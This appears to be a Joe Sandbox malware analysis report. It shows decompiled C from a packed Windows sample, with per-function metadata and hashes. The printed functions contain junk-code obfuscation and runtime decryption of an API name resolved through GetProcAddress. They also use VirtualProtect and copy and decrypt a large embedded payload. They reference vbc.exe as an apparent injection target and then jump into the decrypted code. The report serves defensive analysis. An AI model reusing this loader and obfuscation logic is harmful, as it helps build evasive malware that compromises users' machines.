				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v76;
				char _v80;
				intOrPtr _v96;
				intOrPtr _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				char* _v120;
				intOrPtr _v124;
				char _v128;
				short _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				signed int _v152;
				intOrPtr _v156;
				short _v160;
				char _v164;
				intOrPtr _v168;
				intOrPtr _v172;
				signed int _v176;
				signed int _v180;
				char* _v200;
				void* _v208;
				intOrPtr _v224;
				char _v228;
				void* _v232;
				void* __ebx;
				void* __esi;
				signed int _t233;
				struct HINSTANCE__* _t255;
				_Unknown_base(*)()* _t259;
				signed int _t267;
				void* _t298;
				signed int _t317;
				signed int _t327;
				void* _t343;
				intOrPtr* _t344;
				intOrPtr* _t345;
				char** _t346;
				intOrPtr* _t347;
				intOrPtr* _t348;
				void* _t349;
				void* _t350;

				_t344 = _t343 - 0xc0;
				_t317 = _a96;
				_v100 = _a16;
				_v96 = _a20;
				_v108 = _a24;
				_v104 = _a28;
				_v116 = _a32;
				_v112 = _a36;
				_v124 = _a40;
				_v120 = _a44;
				_v128 = _a48;
				_v132 = _a52;
				_v140 = _a56;
				_v136 = _a60;
				_v148 = _a72;
				_v144 = _a76;
				_v156 = _a88;
				_v152 = _a92;
				_v160 = _t317;
				_v164 = _a104;
				_v172 = _a108;
				_v168 = _a112;
				_v13 = 1;
				if((_v13 & 0x000000ff ^ 0x00000001) == 0) {
					_v13 = 0;
				} else {
					_v13 = 0;
				}
				_v13 = 0;
				if((_v13 & 0x000000ff ^ 0x00000001) != 0) {
					_v13 = 0;
				}
				_v14 = 1;
				while(_v14 != 0) {
					_v13 = 0;
					_v14 = 0;
				}
				_v15 = 1;
				while(_v15 != 0) {
					_v13 = 1;
					_v15 = 0;
				}
				_v13 = 1;
				if(_v13 == 0) {
					_v13 = 1;
				} else {
					_v13 = 1;
				}
				_v16 = 1;
				while(_v16 != 0) {
					_v13 = 1;
					_v16 = 0;
				}
				if((_v13 & 0x000000ff ^ 0x00000001) == 0) {
					_v13 = 1;
				} else {
					_v13 = 1;
				}
				_v17 = 1;
				while(_v17 != 0) {
					_v13 = 0;
					_v17 = 0;
				}
				_v18 = 1;
				while(_v18 != 0) {
					_v13 = 1;
					_v18 = 0;
				}
				_v19 = 1;
				while(_v19 != 0) {
					_v13 = 0;
					_v19 = 0;
				}
				_v13 = 0;
				_v20 = 1;
				while(_v20 != 0) {
					_v13 = 1;
					_v20 = 0;
				}
				if((_v13 & 0x000000ff ^ 0x00000001) == 0) {
					_v13 = 1;
				} else {
					_v13 = 1;
				}
				_v128 = _v128 + 0x5a;
				_t233 = _a12 * 0x101c;
				asm("cdq");
				_t298 = _v108 * _t317 + _v104 * _t233 + (_t233 * _v108 >> 0x20);
				_t340 = _v112 * 0x19c + _v116 * 0 + (0x19c * _v116 >> 0x20);
				asm("sbb ebx, edx");
				asm("adc edx, ebx");
				 *_t344 = _v124 + _t233 * _v108 - 0x19c * _v116;
				_v200 = _v120;
				L0048B880(0x5299c0);
				_t345 = _t344 - 8;
				_v28 = 0xfb30264a;
				_v52 = 0xc1;
				_v51 = 0x97;
				_v50 = 0xcb;
				_v49 = 0x88;
				_v48 = 0x5b;
				_v47 = 0x95;
				_v46 = 0xac;
				_v45 = 0x41;
				_v44 = 8;
				_v43 = 0x18;
				_v42 = 0xa5;
				_v41 = 0x92;
				_v40 = 0x92;
				_v39 = 0x48;
				_v38 = 0x68;
				_v24 = 0;
				while(_v24 <= 0xe) {
					_v29 =  *(_v24 +  &_v52) & 0x000000ff;
					_v29 = _v29 ^ 0x00000010;
					_v29 = (_v29 & 0x000000ff) << 0x00000006 | (_v29 & 0x000000ff) >> 0x00000002;
					_v29 = _v29 - 0x2a;
					_v29 = (_v29 & 0x000000ff) << 0x00000005 | (_v29 & 0x000000ff) >> 0x00000003;
					_v29 =  ~_v29;
					_v29 = _v29 ^ 0x00000063;
					_v29 = _v29 - 0x29;
					_v29 = _v29 ^ 0x000000eb;
					_v29 =  ~_v29;
					_v29 = _v29 + _v24;
					_v29 = (_v29 & 0x000000ff) << 0x00000002 | (_v29 & 0x000000ff) >> 0x00000006;
					_v29 = _v29 ^ 0x00000062;
					_v29 = _v29 - 0xe;
					_v29 =  !_v29;
					_v29 = (_v29 & 0x000000ff) << 0x00000007 | (_v29 & 0x000000ff) >> 0x00000001;
					 *((char*)( &_v52 + _v24)) = _v29 & 0x000000ff;
					_v24 = _v24 + 1;
				}
				E004838D0( &_v37);
				_v200 =  &_v37;
				 *_t345 = "kerne";
				E004B29A0( &_v76);
				_t346 = _t345 - 8;
				E00483900( &_v37);
				 *_t346 = "l32.dll";
				E004B3190(_t298,  &_v76, _t340);
				_t347 = _t346 - 4;
				 *_t347 = E00455570( &_v76);
				_t255 = GetModuleHandleA(??);
				_t348 = _t347 - 4;
				_v36 = _t255;
				_v80 = 0;
				 *((intOrPtr*)(_t348 + 4)) =  &_v52;
				 *_t348 = _v36;
				_t259 = GetProcAddress(??, ??);
				_t349 = _t348 - 8;
				 *0x57d034 = _t259;
				 *((intOrPtr*)(_t349 + 0xc)) =  &_v80;
				 *((intOrPtr*)(_t349 + 8)) = 0x40;
				_v224 = _a8;
				_v228 = _a4; // executed
				VirtualProtect(??, ??, ??, ??); // executed
				_t350 = _t349 - 0x10;
				_t327 = _v152;
				 *((intOrPtr*)(_t350 + 8)) = _v156;
				 *(_t350 + 0xc) = _t327;
				_v228 = _a80;
				_v224 = 0;
				_v180 = E004386D0() ^ _a116;
				_v176 = _t327 ^ 0x00000000;
				E004B2FC0( &_v76);
				_t267 = _v180;
				return _t267;
			}

0x00401739
0x00401745
0x0040174e
0x00401754
0x0040175a
0x00401760
0x00401766
0x0040176c
0x00401772
0x00401778
0x0040177d
0x00401782
0x00401789
0x00401792
0x0040179b
0x004017a4
0x004017ad
0x004017b6
0x004017be
0x004017c7
0x004017d0
0x004017d9
0x004017df
0x004017ec
0x004017f4
0x004017ee
0x004017ee
0x004017ee
0x004017f8
0x00401805
0x00401807
0x00401807
0x0040180b
0x0040180f
0x00401815
0x00401819
0x00401819
0x0040181f
0x00401823
0x00401829
0x0040182d
0x0040182d
0x00401833
0x0040183b
0x00401843
0x0040183d
0x0040183d
0x0040183d
0x00401847
0x0040184b
0x00401851
0x00401855
0x00401855
0x00401864
0x0040186c
0x00401866
0x00401866
0x00401866
0x00401870
0x00401874
0x0040187a
0x0040187e
0x0040187e
0x00401884
0x00401888
0x0040188e
0x00401892
0x00401892
0x00401898
0x0040189c
0x004018a2
0x004018a6
0x004018a6
0x004018ac
0x004018b0
0x004018b4
0x004018ba
0x004018be
0x004018be
0x004018cd
0x004018d5
0x004018cf
0x004018cf
0x004018cf
0x004018d9
0x004018e0
0x004018e6
0x00401902
0x0040191e
0x00401924
0x0040192e
0x00401930
0x00401933
0x0040193c
0x00401941
0x00401944
0x0040194b
0x0040194f
0x00401953
0x00401957
0x0040195b
0x0040195f
0x00401963
0x00401967
0x0040196b
0x0040196f
0x00401973
0x00401977
0x0040197b
0x0040197f
0x00401983
0x00401987
0x0040198e
0x004019a3
0x004019a6
0x004019bc
0x004019bf
0x004019d5
0x004019d8
0x004019db
0x004019df
0x004019e3
0x004019e7
0x004019ed
0x00401a02
0x00401a05
0x00401a09
0x00401a0d
0x00401a21
0x00401a30
0x00401a32
0x00401a32
0x00401a40
0x00401a4b
0x00401a4f
0x00401a58
0x00401a5d
0x00401a65
0x00401a6d
0x00401a76
0x00401a7b
0x00401a88
0x00401a90
0x00401a92
0x00401a95
0x00401a98
0x00401aa2
0x00401aa9
0x00401ab1
0x00401ab3
0x00401ab6
0x00401ac3
0x00401ac7
0x00401ad2
0x00401ad9
0x00401adc
0x00401ade
0x00401aef
0x00401af5
0x00401af9
0x00401afd
0x00401b00
0x00401b19
0x00401b21
0x00401b2c
0x00401b31
0x00401b71

APIs

VirtualProtect.KERNELBASE ref: 00401ADC

Strings

@, xrefs: 00401AC7
A, xrefs: 00401967
[, xrefs: 0040195B
H, xrefs: 0040197F
b, xrefs: 00401A05
h, xrefs: 00401983
Z, xrefs: 004018D9

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: ProtectVirtual
String ID: @$A$H$Z$[$b$h
API String ID: 544645111-1645330288
Opcode ID: 0b9d585763e5f0c84279abd25a98bbbe9105a5209be2d1f7a6737f6aa0f4d20e
Instruction ID: 953dc35364c2ba1b5d8dc44e0b36769b667b1bbbf0940a2c2a73e0572b037332
Opcode Fuzzy Hash: 0b9d585763e5f0c84279abd25a98bbbe9105a5209be2d1f7a6737f6aa0f4d20e
Instruction Fuzzy Hash: 04E11B70E083999FDB11DBB8C4447DDBFF1AF1A304F08819AD494B7392D2789A49CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040235C Relevance: 12.3, APIs: 1, Strings: 7, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 27%

			E0040235C(void* __ebx, intOrPtr __ecx, void* __eflags, char _a4, intOrPtr _a8, char* _a12, char _a16, char* _a20, char _a24, char* _a28, intOrPtr _a32, long long _a40, void* _a44, intOrPtr _a48, intOrPtr _a52, intOrPtr _a56, char* _a60, intOrPtr _a64, intOrPtr _a68, intOrPtr _a72, char* _a76, intOrPtr _a80, intOrPtr _a84, intOrPtr _a88, intOrPtr _a92) {
				long long _v0;
				void* _v4;
				char* _v8;
				char _v12;
				char* _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char* _v28;
				char* _v32;
				signed int _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				intOrPtr _v44;
				char _v45;
				intOrPtr _v52;
				intOrPtr _v56;
				char* _v60;
				char* _v64;
				intOrPtr _v68;
				long long _v72;
				char* _v76;
				intOrPtr _v80;
				char* _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				char _v104;
				intOrPtr _v108;
				char _v109;
				char _v110;
				long long _v124;
				intOrPtr _v128;
				char _v129;
				char _v156;
				char _v180;
				void _v367284;
				intOrPtr _v367296;
				char _v367300;
				char* _v367304;
				intOrPtr _v367308;
				char _v367312;
				char _v367316;
				char _v367320;
				intOrPtr _v367328;
				char* _v367332;
				char* _t203;
				intOrPtr _t220;
				char* _t240;
				char* _t254;
				void* _t257;
				void* _t258;
				void* _t259;
				void* _t261;
				long long _t268;

				_t259 = _t258 - E004386A0(0x59b64, __ebx);
				_v367296 = __ecx;
				_t239 = _a16;
				_v367300 = _a4;
				_v367308 = _a8;
				_v367304 = _a12;
				_v367312 = _a16;
				_v367316 = _a20;
				_v367320 = _a24;
				_v367332 = _a28;
				_v367328 = _a32;
				_v45 = 1;
				_v52 = 0x8a2;
				_v56 = 0x16b;
				_v16 = 0x2041;
				if(_v16 == 0x2041) {
					_v16 = 0xf8e;
				}
				if(_v16 == 0xf8e) {
					_v16 = 0x2385;
				}
				if(_v16 == 0x2385) {
					_v16 = 0x2106;
				}
				_v17 = 1;
				while(_v17 != 0) {
					_v16 = 0x21bd;
					_v17 = 0;
				}
				_v18 = 1;
				while(_v18 != 0) {
					_v16 = 0x11aa;
					_v18 = 0;
				}
				_v19 = 1;
				while(_v19 != 0) {
					_v16 = 0x22aa;
					_v19 = 0;
				}
				if(_v16 == 0x22aa) {
					_v16 = 0x55c;
				}
				_v20 = 1;
				while(_v20 != 0) {
					_v16 = 0x1be7;
					_v20 = 0;
				}
				_v16 = 0x25c2;
				if(_v16 == 0x25c2) {
					_v16 = 0x1df0;
				}
				_v21 = 1;
				while(_v21 != 0) {
					_v16 = 0x15b8;
					_v21 = 0;
				}
				_v16 = 0x207d;
				if(_v16 == 0x207d) {
					_v16 = 0xacd;
				}
				_v16 = 0x226f;
				if(_v16 != 0x1aca) {
					if(_v16 == 0x226f) {
						_v16 = 0xf3e;
					}
				} else {
					_v16 = 0x1284;
				}
				 *__imp__GetCurrentProcessorNumber();
				_v28 = 0;
				_v32 = 0;
				_v32 = 0;
				while(_v32 <= 0x38ef0) {
					_v28 =  &(_v28[1]);
					_v32 =  &(_v32[1]);
				}
				if(_v28 != 0x38ef1) {
					_v109 = 0;
					_v110 = 1;
					_v124 =  *0x52ad98;
					_v128 = 0x6c8;
					_v44 = 0x4c;
					while(_v44 > 0) {
						_v44 = _v44 - 1;
					}
					_t240 = 0xf983;
				} else {
					memcpy( &_v367284, 0x4ce7a0, 0x59a00);
					_v60 = 0;
					_v64 = 0;
					_v68 = 0x590813;
					E004838D0( &_v129);
					_t254 =  &_v129;
					_v4 = _t254;
					_v8 = "C:\\Windows\\Microsoft.NET\\Fra";
					E004B29A0( &_v156);
					E00483900( &_v129);
					_v16 = "mework\\v4.0.30319\\vbc.exe";
					E004B3190(_t239,  &_v156, _t257);
					_t261 = _t259 - 4;
					_t268 =  *0x52ad88;
					_v72 = _t268;
					_v76 = 0;
					_v80 = 0x101b;
					_v92 = 0x950075;
					_v88 = 0;
					_v33 = 0;
					_v34 = 1;
					while(_v34 != 0) {
						_v33 = 0;
						_v34 = 0;
					}
					if(_v33 == 0) {
						_v33 = 1;
					} else {
						_v33 = 1;
					}
					_v35 = 1;
					while(_v35 != 0) {
						_v33 = 1;
						_v35 = 0;
					}
					_v33 = 1;
					if(_v33 == 0) {
						_v33 = 0;
					} else {
						_v33 = 1;
					}
					if(_v33 == 0) {
						_v33 = 1;
					} else {
						_v33 = 0;
					}
					if((_v33 & 0x000000ff ^ 0x00000001) == 0) {
						_v33 = 0;
					} else {
						_v33 = 1;
					}
					_v36 = 1;
					while(_v36 != 0) {
						_v33 = 1;
						_v36 = 0;
					}
					if(_v33 != 0) {
						_v33 = 1;
					}
					if(_v33 == 0) {
						_v33 = 1;
					} else {
						_v33 = 1;
					}
					if((_v33 & 0x000000ff ^ 0x00000001) == 0) {
						_v33 = 0;
					} else {
						_v33 = 0;
					}
					if((_v33 & 0x000000ff ^ 0x00000001) != 0) {
						_v33 = 1;
					}
					_v37 = 1;
					while(_v37 != 0) {
						_v33 = 0;
						_v37 = 0;
					}
					_v33 = 0;
					if(_v33 == 0) {
						_v33 = 0;
					} else {
						_v33 = 1;
					}
					 *((intOrPtr*)(_t261 + 0x70)) = 0x4f8d53;
					_a92 = 0x9da0d;
					 *(_t261 + 0x6c) = 0;
					_a88 = 0x5a;
					_a84 = 0x9fd3e;
					_a80 = 0x4afc;
					_a72 = 0x8f7a6;
					_a76 = 0;
					_a68 = 0x4e72fa;
					_a64 = 0x74d85d;
					_a56 = 0xfe61;
					_a60 = 0;
					_a52 = 0x12342;
					_a48 = 0xb8bac;
					asm("fldz");
					_a40 = _t268;
					 *((intOrPtr*)(_t261 + 0x30)) = 0x7742;
					_a32 = 0xcd;
					_a24 = 0x283;
					_a28 = 0;
					_a16 = 0x21e4;
					_a20 = 0;
					_a8 = 0x30d;
					_a12 = 0;
					_v0 =  *0x52ad90;
					_v4 = 0x299;
					_v8 = 0x77e;
					_v12 = 0x4ce020; // executed
					_t220 = E00401734(); // executed
					_v100 = _t220;
					_v96 = _t254;
					E004015EF("ryy6u9x6qFf1C9uGzZEZkL3R2oUz70wsSsoAV0SdpRDX5LnDCSYJVmbBNaTDU8zJRd9JzfitobkgSj4pKJ0xNX8w67", 0x4ce020, 0x77e, 0x5b);
					E00401BAC(_t239,  &_v180,  &_v156, 1);
					_v104 = E00456350( &_v180);
					_v108 = E00401B72();
					E004015EF("R2v9qXwKNhgOu2jYnbWZHRLs9JJL1m28QX7SBLxXtJeCn50LeRQKsCiKaBAjdr8lh4u5AKXJEg97bHgjgKyLkBLQHK",  &_v367284, 0x59a00, 0x5b);
					_a4 = 0x876512;
					_v0 = 0x656736;
					_v4 =  &_v367284;
					_v8 = 0;
					_v12 = _v104; // executed
					 *((intOrPtr*)(_v108 + 0x4ce020))(); // executed
					_t240 = 0;
					E004B5ED0( &_v180);
					E004B2FC0( &_v156);
				}
				_t203 = _t240;
				return _t203;
			}

0x0040236a
0x0040236c
0x00402375
0x0040237e
0x00402387
0x00402390
0x00402398
0x004023a0
0x004023a8
0x004023b1
0x004023ba
0x004023c0
0x004023c4
0x004023cb
0x004023d2
0x004023e0
0x004023e2
0x004023e2
0x004023f0
0x004023f2
0x004023f2
0x00402400
0x00402402
0x00402402
0x00402409
0x0040240d
0x00402413
0x0040241a
0x0040241a
0x00402420
0x00402424
0x0040242a
0x00402431
0x00402431
0x00402437
0x0040243b
0x00402441
0x00402448
0x00402448
0x00402455
0x00402457
0x00402457
0x0040245e
0x00402462
0x00402468
0x0040246f
0x0040246f
0x00402475
0x00402483
0x00402485
0x00402485
0x0040248c
0x00402490
0x00402496
0x0040249d
0x0040249d
0x004024a3
0x004024b1
0x004024b3
0x004024b3
0x004024ba
0x004024c8
0x004024da
0x004024dc
0x004024dc
0x004024ca
0x004024ca
0x004024ca
0x004024e8
0x004024ea
0x004024f1
0x004024f8
0x004024ff
0x00402508
0x0040250c
0x0040250c
0x00402519
0x0040286a
0x0040286e
0x00402878
0x0040287b
0x00402882
0x00402889
0x00402890
0x00402890
0x00402896
0x0040251f
0x0040253a
0x0040253f
0x00402546
0x0040254d
0x00402559
0x00402564
0x00402567
0x0040256b
0x00402574
0x00402581
0x0040258c
0x00402595
0x0040259a
0x0040259d
0x004025a3
0x004025a6
0x004025ad
0x004025b4
0x004025bb
0x004025c2
0x004025c6
0x004025ca
0x004025d0
0x004025d4
0x004025d4
0x004025de
0x004025e6
0x004025e0
0x004025e0
0x004025e0
0x004025ea
0x004025ee
0x004025f4
0x004025f8
0x004025f8
0x004025fe
0x00402606
0x0040260e
0x00402608
0x00402608
0x00402608
0x00402616
0x0040261e
0x00402618
0x00402618
0x00402618
0x0040262b
0x00402633
0x0040262d
0x0040262d
0x0040262d
0x00402637
0x0040263b
0x00402641
0x00402645
0x00402645
0x0040264f
0x00402651
0x00402651
0x00402659
0x00402661
0x0040265b
0x0040265b
0x0040265b
0x0040266e
0x00402676
0x00402670
0x00402670
0x00402670
0x00402683
0x00402685
0x00402685
0x00402689
0x0040268d
0x00402693
0x00402697
0x00402697
0x0040269d
0x004026a5
0x004026ad
0x004026a7
0x004026a7
0x004026a7
0x004026b1
0x004026b9
0x004026c1
0x004026c9
0x004026d1
0x004026d9
0x004026e1
0x004026e9
0x004026f1
0x004026f9
0x00402701
0x00402709
0x00402711
0x00402719
0x00402721
0x00402723
0x00402727
0x0040272f
0x00402737
0x0040273f
0x00402747
0x0040274f
0x00402757
0x0040275f
0x0040276d
0x00402771
0x00402779
0x00402781
0x00402788
0x0040278d
0x00402790
0x004027b2
0x004027d2
0x004027e4
0x004027ec
0x00402810
0x0040281f
0x00402827
0x00402835
0x00402839
0x00402844
0x00402847
0x00402849
0x00402856
0x00402863
0x00402863
0x0040289b
0x004028e3

APIs

memcpy.MSVCRT ref: 0040253A

Strings

L, xrefs: 00402882
Z, xrefs: 004026C9
u, xrefs: 004025B4
6ge, xrefs: 00402827
!, xrefs: 00402747
o", xrefs: 004024D3
Bw, xrefs: 00402727

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: memcpy
String ID: 6ge$Bw$L$Z$o"$u$!
API String ID: 3510742995-1069630525
Opcode ID: 9828a677744bf1784794a040a88f797995a850af00bbecdbc18b6651373e5dd5
Instruction ID: 6b7797ece0ccc750d5a75ce3caf9a0be11b5275f4b0b4463af705dd2e8d66c6a
Opcode Fuzzy Hash: 9828a677744bf1784794a040a88f797995a850af00bbecdbc18b6651373e5dd5
Instruction Fuzzy Hash: 16F1DB70C08399DAEB21DFA9C55C39EBFF0AB55308F04849ED499662C1C3BD4689CF56

Uniqueness

Uniqueness Score: -1.00%

Function 00402B30 Relevance: 3.1, APIs: 2, Instructions: 59
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 00402B9E
CreateThread.KERNELBASE ref: 00402BDA

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: CreateThreadmalloc
String ID:
API String ID: 2602276845-0
Opcode ID: 6c3abd5a9205959e9ca368158bffee82df7f24577eb55c9c4aa139af08aa539d
Instruction ID: d42f117ec7624968183ae1dcd9fdffc491b7cd8908a15caf63e025aed50b215a
Opcode Fuzzy Hash: 6c3abd5a9205959e9ca368158bffee82df7f24577eb55c9c4aa139af08aa539d
Instruction Fuzzy Hash: A821A8B4905209DFDB50CFA9C94979EBBF0FB08318F10855AE458B7380D3B89A45DF86

Uniqueness

Uniqueness Score: -1.00%

Function 00448D60 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 00448D6E

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: 972895e923796943babdbfb2686358178a37a5f338e445654c6397c7a1a92a8b
Instruction ID: 8f3b6aa3be29600e4a1bb94b2abab2eb8d36dc52dc24450ad7db2addb8e2a952
Opcode Fuzzy Hash: 972895e923796943babdbfb2686358178a37a5f338e445654c6397c7a1a92a8b
Instruction Fuzzy Hash: 63F07F38E02208AFCB08DF99E48198DF7F5AF88204B00C066F818E7365DA30E9048B44

Uniqueness

Uniqueness Score: -1.00%

Function 004C1230 Relevance: 1.3, APIs: 1, Instructions: 31
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strlen.MSVCRT ref: 004C1244

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 5c5a6667be700d4b2a783ba10ef4d03e8448835190e149cd42d30fcd9bbabb33
Instruction ID: 578905bb96501ca02edfdf7c63899d4212dd1b3c8efa49f7707ee0f9c13ae061
Opcode Fuzzy Hash: 5c5a6667be700d4b2a783ba10ef4d03e8448835190e149cd42d30fcd9bbabb33
Instruction Fuzzy Hash: 0FF082B1A082105BCB00BF2DE4C545BBBE4BF44718F0548AEF4C98B302D235E840CBD2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00438E80 Relevance: 22.8, APIs: 15, Instructions: 333
COMMONCrypto

Download Yara Rule

C-Code - Quality: 45%

			E00438E80(void* __eax, void* __ecx, intOrPtr __edx, void* _a4) {
				void* _v16;
				void* _v20;
				void* _v32;
				signed int _v48;
				intOrPtr _v52;
				void* _v56;
				void* _v57;
				void* _v60;
				char* _v116;
				void* __ebx;
				signed int __edi;
				void* __esi;
				void* _t162;
				struct HINSTANCE__* _t163;
				struct HINSTANCE__* _t166;
				_Unknown_base(*)()* _t167;
				CHAR* _t169;
				struct HINSTANCE__* _t170;
				void* _t173;
				void* _t175;
				_Unknown_base(*)()* _t176;
				void* _t179;
				void* _t180;
				char** _t182;
				char** _t183;
				struct HINSTANCE__** _t185;
				struct HINSTANCE__** _t186;

				_t162 = __eax;
				_t175 = __eax;
				_t180 = _t179 - 0x3c;
				_t173 = _a4;
				_v52 = __edx;
				_v56 = __ecx;
				 *((intOrPtr*)(_t173 + 0x90)) = 0;
				if(__eax >= __edx) {
					L17:
					return _t162;
				} else {
					__eax =  *(__ecx + 0x60);
					__edx =  *(__edi + 0xa4);
					_v48 = __eax;
					__eax = __eax >> 0x1f;
					if(__edx < __eax) {
						_v60 = 0;
						do {
							__eax =  *__esi & 0x000000ff;
							_t14 = __esi + 1; // 0x1
							__ebx = _t14;
							__ecx = __eax;
							__ecx = __eax & 0xffffffc0;
							if(__cl == 0x40) {
								__edi = _a4;
								__eax = __eax & 0x0000003f;
								__esi = __ebx;
								__eax = __eax *  *(0xb0 + __edi);
								 *(__edi + 0xa4) = __eax;
								goto L15;
							} else {
								if(__cl == 0x80) {
									__eax = __eax & 0x0000003f;
									__edi = 0;
									__ecx = 0;
									__esi = __al & 0x000000ff;
									_v48 = __al & 0x000000ff;
									__esi = __ebx;
									do {
										__esi = __esi + 1;
										__ebx =  *(__esi - 1) & 0x000000ff;
										 *(__esi - 1) & 0x000000ff =  *(__esi - 1) & 0x7f;
										__edx = ( *(__esi - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__edi = __edi | ( *(__esi - 1) & 0x7f) << __cl;
									} while (__bl < 0);
									__ebx = _a4;
									__edi = __edi *  *(__ebx + 0xac);
									if(__al <= 0x11) {
										__eax = __ebx;
										__ebx = _v48;
										__eax = __eax + _v48 * 8;
										 *(__eax + 4) = 1;
										 *__eax = __edi;
									}
									goto L15;
								} else {
									if(__cl == 0xc0) {
										__eax = __eax & 0x0000003f;
										__edx = __al & 0x000000ff;
										if(__al > 0x11) {
											goto L14;
										} else {
											__eax = _a4;
											__esi = __ebx;
